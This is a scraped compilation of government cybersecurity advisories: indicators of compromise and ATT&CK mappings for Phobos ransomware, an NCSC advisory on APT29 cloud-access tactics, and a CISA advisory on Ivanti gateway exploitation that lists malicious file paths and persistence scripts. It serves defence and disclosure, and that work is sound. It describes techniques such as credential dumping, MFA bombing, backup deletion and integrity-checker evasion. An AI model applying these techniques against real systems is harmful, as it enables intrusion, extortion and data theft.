henryk@onionmail[.]org
atomicday@tuta[.]io
info@fobos[.]one
axdus@tuta[.]io
it.issues.solving@outlook[.]com
barenuckles@tutanota[.]com
JohnWilliams1887@gmx[.]com
Bernard.bunyan@aol[.]com
jonson_eight@gmx[.]us
bill.g@gmx[.]com
joshuabernandead@gmx[.]com
bill.g@msgsafe[.]io
LettoIntago@onionmail[.]com
bill.g@onionmail[.]org
Luiza.li@tutanota[.]com
bill.gTeam@gmx[.]com
MatheusCosta0194@gmx[.]com
blair_lockyer@aol[.]com
mccreight.ellery@tutanota[.]com
CarlJohnson1948@gmx[.]com
megaport@tuta[.]io
cashonlycash@gmx[.]com
miadowson@tuta[.]io
chocolate_muffin@tutanota[.]com
MichaelWayne1973@tutanota[.]com
claredrinkall@aol[.]com
normanbaker1929@gmx[.]com
clausmeyer070@cock[.]li
nud_satanakia@keemail[.]me
colexpro@keemail[.]me
please@countermail[.]com
cox.barthel@aol[.]com
precorpman@onionmail[.]org
crashonlycash@gmx[.]com
recovery2021@inboxhub[.]net
everymoment@tuta[.]io
recovery2021@onionmail[.]org
expertbox@tuta[.]io
SamuelWhite1821@tutanota[.]com
fastway@tuta[.]io
SaraConor@gmx[.]com
fquatela@techie[.]com
secdatltd@gmx[.]com
fredmoneco@tutanota[.]com
skymix@tuta[.]io
getdata@gmx[.]com
sory@countermail[.]com
greenbookBTC@gmx[.]com
spacegroup@tuta[.]io
greenbookBTC@protonmail[.]com
stafordpalin@protonmail[.]com
helperfiles@gmx[.]com
starcomp@keemail[.]me
helpermail@onionmail[.]org
xdone@tutamail[.]com
helpfiles@onionmail[.]org
xgen@tuta[.]io
helpfiles102030@inboxhub[.]net
xspacegroup@protonmail[.]com
helpforyou@gmx[.]com
zgen@tuta[.]io
helpforyou@onionmail[.]org
zodiacx@tuta[.]io
@phobos_support
Disclaimer: Organizations are encouraged to investigate the use of the IOCs in Table 7 for related signs of compromise prior to performing remediation actions.
194.165.16[.]4 (October 2023)
Win32.exe
Ahpdate.exe [13]
0000599cbc6e5b0633c5a6261c79e4d3d81005c77845c6b0679d854884a8e02f
45.9.74[.]14 (December 2023)
147.78.47[.]224 (December 2023)
Executable and Linkable Format (ELF) [14]
1570442295
(Trojan Linux Mirai)
7451be9b65b956ee667081e1141531514b1ec348e7081b5a9cd1308a98eec8f0
185.202.0[.]111 (September 2023)
Win32.exe [15]
cobaltstrike_shellcode[.]exe (C2 activity)
185.202.0[.]111 (December 2023)
.txt [16]
f1425cff3d28afe5245459afa6d7985081bc6a62f86dce64c63daeb2136d7d2c.bin (Trojan)
Disclaimer: Organizations are encouraged to investigate the use of the file hashes in Tables 8 and 9 for related signs of compromise prior to performing remediation actions.
518544e56e8ccee401ffa1b0a01a10ce23e49ec21ec441c6c7c3951b01c1b19c
9215550ce3b164972413a329ab697012e909d543e8ac05d9901095016dd3fc6c
482754d66d01aa3579f007c2b3c3d0591865eb60ba60b9c28c66fe6f4ac53c52
c0539fd02ca0184925a932a9e926c681dc9c81b5de4624250f2dd885ca5c4763
58626a9bfb48cd30acd0d95debcaefd188ae794e1e0072c5bde8adae9bccafa6
f3be35f8b8301e39dd3dffc9325553516a085c12dc15494a5e2fce73c77069ed
518544e56e8ccee401ffa1b0a01a10ce23e49ec21ec441c6c7c3951b01c1b19c
32a674b59c3f9a45efde48368b4de7e0e76c19e06b2f18afb6638d1a080b2eb3
2704e269fb5cf9a02070a0ea07d82dc9d87f2cb95e60cb71d6c6d38b01869f66
fc4b14250db7f66107820ecc56026e6be3e8e0eb2d428719156cf1c53ae139c6
a91491f45b851a07f91ba5a200967921bf796d38677786de51a4a8fe5ddeafd2
MITRE ATT&CK TECHNIQUES
See Table 10 through 22 for all threat actor tactics and techniques referenced in this advisory.
Search Open Websites/Domains
T1593
Phobos actors perform open source research to find information about victims that can be used during targeting to create a victim profile.
Scanning IP Blocks
T1595.001
Phobos actors used IP scanning tools to include Angry IP Scanner to search for vulnerable RDP ports.
Phishing for Information
T1598
Phobos actors use phishing campaigns to social engineer information from users and gain access to vulnerable RDP ports.
Establish Accounts
T1585
Phobos actors establish accounts to communicate.
Obtain Capabilities: Tool
T1588.002
Phobos actors used open source tools in their attack.
Valid Accounts
T1078
Following successful RDP authentication, Phobos actors search for IP addresses and pair them with their associated computer to create a victim profile.
External Remote Services
T1133
Phobos actors may leverage external-facing remote services to initially access and/or persist within a network.
Phishing: Spearphishing Attachment
T1566.001
Phobos actors used a spoofed email attachment to execute attack.
Windows Management Instrumentation
T1047
Phobos actors used Windows Management Instrumentation command-line utility (WMIC) to prevent victims from recovering files.
Windows Command Shell
T1059.003
Phobos actors can use the previous commands to perform commands with windows shell functions.
Native API
T1106
Phobos actors used open source tools to enumerate the active directory.
Malicious File
T1204.002
Phobos actors attached a malicious email attachment to deliver ransomware.
Registry Run Keys / Startup Folder
T1547.001
Phobos ransomware operates using the
Exec.exe
control mechanism and has been observed using Windows Startup folders and Run Registry Keys.Privilege Escalation
TA0004
Phobos actors use run commands like
1saas.exe
, orcmd.exe
to deploy additional Phobos payloads with escalated privileges.Portable Executable Injection
T1055.002
Phobos actors use Smokeloader to inject code into running processes to identify an entry point through enabling a
VirtualAlloc
orVirtualProtect
process.Asynchronous Procedure Call
T1055.004
During phase two of execution, Phobos ransomware sends a call back from an identified entry point.
Access Token Manipulation: Token Impersonation/Theft
T1134.001
Phobos actors can use Windows API functions to steal tokens.
Create Process with Token
T1134.002
Phobos actors used Windows API functions to steal tokens, bypass access controls and create new processes.
Software Packing
T1027.002
Phobos actors deployed a portable executable (PE) to conceal code.
Embedded Payloads
T1027.009
Phobos actors embedded the ransomware as a hidden payload by using Smokeloader.
Deobfuscate/Decode Files or Information
T1140
During phase two of execution, Phobos actors’ malware stores and decrypts information.
System Binary Proxy Execution: Mshta
T1218.005
Phobos actors used Mshta to execute malicious files.
Impair Defenses
T1562
Phobos actors can use Universal Virus Sniffer, Process Hacker, and PowerTool to evade detection.
Disable or Modify System Firewall
T1562.004
Phobos ransomware has been observed bypassing organizational network defense protocols through modifying system firewall configurations.
OS Credential Dumping: LSASS Memory
T1003.001
Phobos actors used Mimikatz to export credentials.
OS Credential Dumping: Cached Domain Credentials
T1003.005
Phobos actors use cached domain credentials to authenticate as the domain administrator in the event a domain controller is unavailable.
Brute Force
T1110
Phobos actors may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.
Credentials from Password Stores
T1555
Phobos actors may search for common password storage locations to obtain user credentials.
Credentials from Password Stores: Credentials from Web Browsers
T1555.003
Phobos actors use Nirsoft or Passview to export client credentials from web browsers.
Phobos actors search for stored credentials in browser clients once they gain initial network access.
Credentials from Password Stores: Password Managers
T1555.005
Phobos actors targeted victim’s databases for password management software.
Process Discovery
T1057
Phobos ransomware is able to run processes.
System Information Discovery
T1082
Phobos ransomware is able to enumerate connected storage devices.
File and Directory Discovery
T1083
Phobos ransomware can encrypt user files.
Domain Account
T1087.002
Phobos threat actor used Bloodhound and Sharphound to enumerate the active directory.
Archive Collected Data
T1560
Phobos threat actors archive data as either a
.rar
or.zip
file to be later exfiltrated.Data Obfuscation: Protocol Impersonation
T1001.003
Phobos actors used a stealth process to obfuscate C2 activity.
File Transfer Protocols
T1071.002
Phobos threat actors used
WinSCP
to connect the victim’s network to an FTP server.Ingress Tool Transfer
T1105
Phobos ransomware extracts its final payload from the hashed file.
Remote Access Software
T1219
Phobos threat actors used remote access tools to establish a remote connection within victim’s network.
Exfiltration
TA0010
Phobos threat actors may use exfiltration techniques to steal data from your network.
Exfiltration Over Alternative Protocol
T1048
Phobos threat actors use software to export files to a cloud.
Exfiltration to Cloud Storage
T1567.002
Phobos threat actors use
Mega.io
to exfiltrate data to a cloud storage service rather than over their primary command and control channel.Data Encrypted for Impact
T1486
Phobos threat actors use the
Phobos.exe
command to encrypt data on all logical drives connected to the network.Inhibit System Recovery
T1490
Phobos threat actors may delete or remove backups to include volume shadow copies from Windows environments to prevent victim data recovery response efforts.
Financial Theft
T1657
Phobos threat actor’s extort victims for financial gain.
MITIGATIONS
Secure by Design and Default Mitigations:
These mitigations apply to all critical infrastructure organizations and network defenders. The FBI, CISA, and MS-ISAC recommend that software manufacturers incorporate secure by design and default principles and tactics into their software development practices limiting the impact of ransomware techniques, thus, strengthening the secure posture for their customers.
For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.
The FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture against actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
In addition, the authoring authorities of this CSA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, and to reduce the impact and risk of compromise by ransomware or data extortion actors:
Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and MS-ISAC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
The FBI, CISA, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
RESOURCES
REFERENCES
[1] Privacy Affairs: “Moral” 8Base Ransomware Targets 2 New Victims
[2] VMware: 8base ransomware: A Heavy Hitting Player
[3] Infosecurity Magazine: Phobos Ransomware Family Expands With New FAUST Variant
[4] The Record: Hospitals offline across Romania following ransomware attack on IT platform
[5] Comparitech: What is Phobos Ransomware & How to Protect Against It?
[6] Cisco Talos: Understanding the Phobos affiliate structure and activity
[7] Cisco Talos: A deep dive into Phobos ransomware, recently deployed by 8Base group
[8] Malwarebytes Labs: A deep dive into Phobos ransomware
[9] Any Run: Smokeloader
[10] Malpedia: Smokeloader
[11] Truesec: A case of the FAUST Ransomware
[12] VirusTotal: Phobos Domain #1
[13] VirusTotal: Phobos executable: Ahpdate.exe
[14] VirusTotal: Phobos GUI extension: ELF File
[15] VirusTotal: Phobos IP address: 185.202.0[.]111
[16] VirusTotal: Phobos GUI extension: Binary File
[17] Cisco Talos GitHub: IOCs/2023/11/deep-dive-into-phobos-ransomware.txt at main
REPORTING
The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom-note, communications with Phobos actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details requested include: a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host and network-based indicators.
The FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI Internet Crime Complaint Center (IC3), a local FBI Field Office, or to CISA at report@cisa.gov or (888) 282-0870.
DISCLAIMER
The FBI does not conduct its investigative activities or base attribution solely on activities protected by the First Amendment. Your company has no obligation to respond or provide information back to the FBI in response to this engagement. If, after reviewing the information, your company decides to provide referral information to the FBI, it must do so in a manner consistent with federal law. The FBI does not request or expect your company to take any particular action regarding this information other than holding it in confidence due to its sensitive nature.
The information in this report is being provided “as is” for informational purposes only. The FBI and CISA not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, and the MS-ISAC.
ACKNOWLEDGEMENTS
The California Joint Regional Intelligence Center (JRIC, CA) and Israel National Cyber Directorate (INCD) contributed to this CSA.
VERSION HISTORY
February 29, 2024: Initial version.
Source de l’article sur us-cert.gov
SVR Cyber Actors Adapt Tactics for Initial Cloud Access
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationHow SVR-Attributed Actors are Adapting to the Move of Government and Corporations to Cloud Infrastructure
OVERVIEW
This advisory details recent tactics, techniques, and procedures (TTPs) of the group commonly known as APT29, also known as Midnight Blizzard, the Dukes, or Cozy Bear.
The UK National Cyber Security Centre (NCSC) and international partners assess that APT29 is a cyber espionage group, almost certainly part of the SVR, an element of the Russian intelligence services. The US National Security Agency (NSA), the US Cybersecurity and Infrastructure Security Agency (CISA), the US Cyber National Mission Force (CNMF), the Federal Bureau of Investigation (FBI), Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), the Canadian Centre for Cyber Security (CCCS), and New Zealand Government Communications Security Bureau (GCSB) agree with this attribution and the details provided in this advisory.
This advisory provides an overview of TTPs deployed by the actor to gain initial access into the cloud environment and includes advice to detect and mitigate this activity.
To download the PDF version of this report, click here.
PREVIOUS ACTOR ACTIVITY
The NCSC has previously detailed how Russian Foreign Intelligence Service (SVR) cyber actors have targeted governmental, think tank, healthcare, and energy targets for intelligence gain. It has now observed SVR actors expanding their targeting to include aviation, education, law enforcement, local and state councils, government financial departments, and military organizations.
SVR actors are also known for:
EVOLVING TTPs
As organizations continue to modernize their systems and move to cloud-based infrastructure, the SVR has adapted to these changes in the operating environment.
They have to move beyond their traditional means of initial access, such as exploiting software vulnerabilities in an on-premises network, and instead target the cloud services themselves.
To access the majority of the victims’ cloud hosted network, actors must first successfully authenticate to the cloud provider. Denying initial access to the cloud environment can prohibit SVR from successfully compromising their target. In contrast, in an on-premises system, more of the network is typically exposed to threat actors.
Below describes in more detail how SVR actors are adapting to continue their cyber operations for intelligence gain. These TTPs have been observed in the last 12 months.
ACCESS VIA SERVICE AND DORMANT ACCOUNTS
Previous SVR campaigns reveal the actors have successfully used brute forcing [T1110] and password spraying to access service accounts. This type of account is typically used to run and manage applications and services. There is no human user behind them so they cannot be easily protected with multi-factor authentication (MFA), making these accounts more susceptible to a successful compromise. Service accounts are often also highly privileged depending on which applications and services they’re responsible for managing. Gaining access to these accounts provides threat actors with privileged initial access to a network, to launch further operations.
SVR campaigns have also targeted dormant accounts belonging to users who no longer work at a victim organization but whose accounts remain on the system [T1078.004].
Following an enforced password reset for all users during an incident, SVR actors have also been observed logging into inactive accounts and following instructions to reset the password. This has allowed the actor to regain access following incident response eviction activities.
CLOUD-BASED TOKEN AUTHENTICATION
Account access is typically authenticated by either username and password credentials or system-issued access tokens. The NCSC and partners have observed SVR actors using tokens to access their victims’ accounts, without needing a password [T1528].
The default validity time of system-issued tokens varies dependent on the system; however, cloud platforms should allow administrators to adjust the validity time as appropriate for their users. More information can be found on this in the mitigations section of this advisory.
ENROLLING NEW DEVICES TO THE CLOUD
On multiple occasions, the SVR have successfully bypassed password authentication on personal accounts using password spraying and credential reuse. SVR actors have also then bypassed MFA through a technique known as “MFA bombing” or “MFA fatigue,” in which the actors repeatedly push MFA requests to a victim’s device until the victim accepts the notification [T1621].
Once an actor has bypassed these systems to gain access to the cloud environment, SVR actors have been observed registering their own device as a new device on the cloud tenant [T1098.005]. If device validation rules are not set up, SVR actors can successfully register their own device and gain access to the network.
By configuring the network with device enrollment policies, there have been instances where these measures have defended against SVR actors and denied them access to the cloud tenant.
RESIDENTIAL PROXIES
As network-level defenses improve detection of suspicious activity, SVR actors have looked at other ways to stay covert on the internet. A TTP associated with this actor is the use of residential proxies [T1090.002]. Residential proxies typically make traffic appear to originate from IP addresses within internet service provider (ISP) ranges used for residential broadband customers and hide the true source. This can make it harder to distinguish malicious connections from typical users. This reduces the effectiveness of network defenses that use IP addresses as indicators of compromise, and so it is important to consider a variety of information sources such as application and host-based logging for detecting suspicious activity.
CONCLUSION
The SVR is a sophisticated actor capable of carrying out a global supply chain compromise such as the 2020 SolarWinds, however the guidance in this advisory shows that a strong baseline of cyber security fundamentals can help defend from such actors.
For organizations that have moved to cloud infrastructure, a first line of defense against an actor such as SVR should be to protect against SVR’s TTPs for initial access. By following the mitigations outlined in this advisory, organizations will be in a stronger position to defend against this threat.
Once the SVR gain initial access, the actor is capable of deploying highly sophisticated post compromise capabilities such as MagicWeb, as reported in 2022. Therefore, mitigating against the SVR’s initial access vectors is particularly important for network defenders.
CISA have also produced guidance through their Secure Cloud Business Applications (SCuBA) Project which is designed to protect assets stored in cloud environments.
Some of the TTPs listed in this report, such as residential proxies and exploitation of system accounts, are similar to those reported as recently as January 2024 by Microsoft.
MITRE ATT&CK®
This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.
Credential Access
T1110
Brute Force
The SVR use password spraying and brute forcing as an initial infection vector.
Initial Access
T1078.004
Valid Accounts: Cloud Accounts
The SVR use compromised credentials to gain access to accounts for cloud services, including system and dormant accounts.
Credential Access
T1528
Steal Application Access Token
The SVR use stolen access tokens to login to accounts without the need for passwords.
Credential Access
T1621
Multi-Factor Authentication Request Generation
The SVR repeatedly push MFA requests to a victim’s device until the victim accepts the notification, providing SVR access to the account.
Command and Control
T1090.002
Proxy: External Proxy
The SVR use open proxies in residential IP ranges to blend in with expected IP address pools in access logs.
Persistence
T1098.005
Account Manipulation: Device Registration
The SVR attempt to register their own device on the cloud tenant after acquiring access to accounts.
MITIGATION AND DETECTION
A number of mitigations will be useful in defending against the activity described in this advisory:
DISCLAIMER
This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.
This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.
Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.
All material is UK Crown Copyright.
Source de l’article sur us-cert.gov
Threat Actors Exploit Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationSUMMARY
The Cybersecurity and Infrastructure Security Agency (CISA) and the following partners (hereafter referred to as the authoring organizations) are releasing this joint Cybersecurity Advisory to warn that cyber threat actors are exploiting previously identified vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways. CISA and authoring organizations appreciate the cooperation of Volexity, Ivanti, Mandiant and other industry partners in the development of this advisory and ongoing incident response activities. Authoring organizations:
Of particular concern, the authoring organizations and industry partners have determined that cyber threat actors are able to deceive Ivanti’s internal and external Integrity Checker Tool (ICT), resulting in a failure to detect compromise.
Cyber threat actors are actively exploiting multiple previously identified vulnerabilities—CVE-2023-46805, CVE-2024-21887, and CVE-2024-21893—affecting Ivanti Connect Secure and Ivanti Policy Secure gateways. The vulnerabilities impact all supported versions (9.x and 22.x) and can be used in a chain of exploits to enable malicious cyber threat actors to bypass authentication, craft malicious requests, and execute arbitrary commands with elevated privileges.
During multiple incident response engagements associated with this activity, CISA identified that Ivanti’s internal and previous external ICT failed to detect compromise. In addition, CISA has conducted independent research in a lab environment validating that the Ivanti ICT is not sufficient to detect compromise and that a cyber threat actor may be able to gain root-level persistence despite issuing factory resets.
The authoring organizations encourage network defenders to (1) assume that user and service account credentials stored within the affected Ivanti VPN appliances are likely compromised, (2) hunt for malicious activity on their networks using the detection methods and indicators of compromise (IOCs) within this advisory, (3) run Ivanti’s most recent external ICT, and (4) apply available patching guidance provided by Ivanti as version updates become available. If a potential compromise is detected, organizations should collect and analyze logs and artifacts for malicious activity and apply the incident response recommendations within this advisory.
Based upon the authoring organizations’ observations during incident response activities and available industry reporting, as supplemented by CISA’s research findings, the authoring organizations recommend that the safest course of action for network defenders is to assume a sophisticated threat actor may deploy rootkit level persistence on a device that has been reset and lay dormant for an arbitrary amount of time. For example, as outlined in PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure), sophisticated actors may remain silent on compromised networks for long periods. The authoring organizations strongly urge all organizations to consider the significant risk of adversary access to, and persistence on, Ivanti Connect Secure and Ivanti Policy Secure gateways when determining whether to continue operating these devices in an enterprise environment.
Note: On February 9, 2024, CISA issued Emergency Directive (ED) 24-01: Mitigate Ivanti Connect Secure and Ivanti Policy Secure Vulnerabilities, which requires emergency action from Federal Civilian Executive Branch (FCEB) agencies to perform specific actions on affected products.
The Canadian Centre for Cyber Security also issued an alert, Ivanti Connect Secure and Ivanti Policy Secure gateways zero-day vulnerabilities, which provides periodic updates for IT professionals and managers affected by the Ivanti vulnerabilities.
Download the PDF version of this report:
(PDF, 2.20 MB
)
For a downloadable copy of IOCs, see:
(XML, 70.12 KB
)
(JSON, 53.65 KB
)
TECHNICAL DETAILS
This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques in Appendix C for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Overview
On January 10, 2024, Volexity reported on two vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways observed being chained to achieve unauthenticated remote code execution (RCE):[1]
Volexity first identified active exploitation in early December 2023, when they detected suspicious lateral movement [TA0008] on the network of one of their network security monitoring service customers. Volexity identified that threat actors exploited the vulnerabilities to implant web shells, including GLASSTOKEN and GIFTEDVISITOR, on internal and external-facing web servers [T1505.003]. Once successfully deployed, these web shells are used to execute commands on compromised devices.[1]
After Ivanti provided initial mitigation guidance in early January, threat actors developed a way to bypass those mitigations to deploy BUSHWALK, LIGHTWIRE, and CHAINLINE web shell variants.[2] Following the actors’ developments, Ivanti disclosed three additional vulnerabilities:
Observed Threat Actor Activity
CISA has responded to multiple incidents related to the above vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways. In these incidents, actors exploited these CVEs for initial access to implant web shells and to harvest credentials stored on the devices. Post-compromise, the actors moved laterally into domain environments and have been observed leveraging tools that are native to the Ivanti appliances—such as
freerdp
,ssh
,telnet
, andnmap
libraries—to expand their access to the domain environment. The result, in some cases, was a full domain compromise.During incident response investigations, CISA identified that Ivanti’s internal and external ICT failed to detect compromise. The organizations leveraged the integrity checker to identify file mismatches in Ivanti devices; however, CISA incident response analysis confirmed that both the internal and external versions of the ICT were not reliable due to the existence of web shells found on systems that had no file mismatches according to the ICTs. Additionally, forensic analysis showed evidence the actors were able to clean up their efforts by overwriting files, time-stomping files, and re-mounting the runtime partition to return the appliance to a “clean state.” This reinforces that ICT scans are not reliable to indicate previous compromise and can result in a false sense of security that the device is free of compromise.
As detailed in Appendix A, CISA conducted independent research in a lab environment validating that the ICT is likely insufficient for detecting compromise and that a cyber threat actor may be able to maintain root level persistence despite issuing factory resets and appliance upgrades.
INDICATORS OF COMPROMISE
See Tables 1 – 4 in Appendix B for IOCs related to cyber actors exploiting multiple CVEs related to Ivanti appliances.
For additional indicators of compromise, see:
Memory and disk forensics were used during forensic analysis, combined with the Integrity Checker Tool, to identify malicious files on the compromised Ivanti Connect Secure VPN appliance. This advisory provides a list of combined authoring organization IOCs and open source files identified by Volexity via network analysis.
Disclaimer: Some IP addresses in this advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action such as blocking. Activity should not be attributed as malicious without analytical evidence to support it is used at the direction of, or controlled by, threat actors.
DETECTION METHODS
YARA Rules
See Appendix D for additional open source YARA rules, provided by Volexity, that may aid network defenders in detecting malicious activity within Ivanti Connect Secure VPN appliances. For more information on detection methods, visit Mandiant’s blog post Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation or the Volexity GitHub page.
INCIDENT RESPONSE
The authoring organizations encourage you to assess your organization’s user interface (UI) software and systems for evidence of compromise and to hunt for malicious activity using signatures outlined within this advisory. If compromise is suspected or detected, organizations should assume that threat actors hold full administrative access and can perform all tasks associated with the Ivanti Connect Secure VPN appliance as well as executing arbitrary code and installing malicious payloads.
Note: These are vendor-managed appliances and systems may be encrypted with limited access. Thus, collecting artifacts may be limited on some versions of appliances. The authoring organizations recommend investigating associated devices on the network to identify lateral movement in the absence of access to the Secure Connect appliance.
If a potential compromise is detected, organizations should:
MITIGATIONS
These mitigations apply to all critical infrastructure organizations and network defenders using Ivanti Connect Secure VPN and Ivanti Policy Secure. The authoring organizations recommend that software manufacturers incorporate Secure by Design principles and tactics into their software development practices. These principles and tactics can limit the impact of exploitation—such as threat actors leveraging newly discovered, unpatched vulnerabilities within Ivanti appliances—thus, strengthening the secure posture for their customers.
For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.
The authoring organizations recommend organizations implement the mitigations below to improve your cybersecurity posture based on threat actor activity and to reduce the risk of compromise associated with Ivanti vulnerabilities. These mitigations align with the cross-sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how the controls perform against the ATT&CK techniques described in this advisory.
To get started:
The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
REPORTING
U.S. organizations should report every potential cyber incident to the U.S. government. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI’s Internet Crime Complaint Center (IC3), local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or (888) 282-0870.
The FBI encourages organizations to report information concerning suspicious or criminal activity to their local FBI Field Office.
Australian organizations that have been impacted or require assistance regarding Ivanti compromise, contact ASD’s ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to cyber.gov.au.
UK organizations that have been impacted by Ivanti compromise, should report the incident to the National Cyber Security Centre.
Organizations outside of the United States or Australia should contact their national cyber center.
REFERENCES
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. CISA and authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and authoring organizations.
ACKNOWLEDGEMENTS
Volexity, Mandiant, and Ivanti contributed to this advisory.
VERSION HISTORY
February 29, 2024: Initial version.
APPENDIX A: CISA’S PRODUCT EVALUATION FINDINGS
Research Approach
As part of ongoing efforts to effectively serve the cybersecurity community with actionable insights and guidance, CISA conducted research by using a free and downloadable version of the Ivanti Connect Secure virtual appliance to assess potential attack paths and adversary persistence mechanisms. The virtual appliances were not connected to the internet, and were deployed in a closed virtualized network, with a non-internet connected Active Directory. This research included a variety of tests on version
22.3R1 Build 1647
, connected to Active Directory credentials, to leverage the access obtained through CVE-2023-46805, CVE-2024-21887 and CVE-2024-21893. Put simply, CISA’s research team wanted to answer the question: “How far could an attacker go if they set were to exploit these CVEs remotely?”Persistent Post-Reset and -Upgrade Access
Leveraging these vulnerabilities, CISA researchers were able to exfiltrate domain administrator cleartext credentials [TA0006], gain root-level persistence [TA0003], and bypass integrity checks used by the Integrity Checker application. CISA’s Incident Response team observed these specific techniques leveraged during the agency’s incident response engagements, along with the native tools and libraries to conduct internal reconnaissance and compromise domains behind the Ivanti appliances. CISA researchers assess that threat actors are able to use the credentials to move deeper into the environment.
The ability to exfiltrate domain administrator cleartext credentials, if saved when adding an “Active Directory Authentication server” during setup, was accomplished by using the root-level access obtained from the vulnerabilities to interface directly with the internal server and retrieve the cached credentials as shown in Figure 4, APPENDIX A. Users who currently have active sessions to the appliance could have their base64 encoded active directory cleartext passwords, in addition to the New Technology LAN Manager (NTLM) password hashes, retrieved with the same access, as shown in Figure 10, APPENDIX A. In addition to users with active sessions, users previously authenticated can have base64 encoded active directory plaintext passwords and NTLM hashes harvested from the backups of the data.mdb database files stored on the appliance, as shown in Figure 15 and 16, APPENDIX A.
The root-level access allows adversaries to maintain persistence despite issuing factory resets and appliance upgrades while deceiving the provided integrity checkers, creating the illusion of a clean installation. Due to the persistence mechanism being stored on the encrypted partition of the drive and inaccurate integrity check results, it is untenable for network administrators to validate their application has not been compromised without also decrypting the partition and validating against a clean installation of the appliance, which are actions not easily accomplished at present. Without major alterations of the integrity checking process, it is conceivable that new vulnerabilities that afford root-level access to the appliance could also result in root-kit level persistence to the appliance.
Below is proof of concept being released by CISA, which demonstrates the capacity of and opportunity for a threat actor to exfiltrate Domain Administrator credentials that were used during appliance configuration:
Below is a demonstration of the capacity for post exploitation exfiltration of base64 encoded cleartext credentials for active directory users and their associated NTLM password hashes:
APPENDIX B: INDICATORS OF COMPROMISE
/home/perl/DSLogConfig.pm
Modified Perl module.
Designed to execute
sessionserver.pl
./usr/bin/a.sh
gcore.in core dump script.
/bin/netmon
Sliver binary.
/home/venv3/lib/python3.6/site-packages/*.egg
Python package containing WIREFIRE among other files.
/home/etc/sql/dsserver/sessionserver.pl
Perl script to remount the filesystem with read/write access.
Make sessionserver.sh executable, execute it, then restore original mount settings.
/home/etc/sql/dsserver/sessionserver.sh
Script executed by
sessionserver.pl
.Uses regular expressions to modify
compcheckresult.cgi
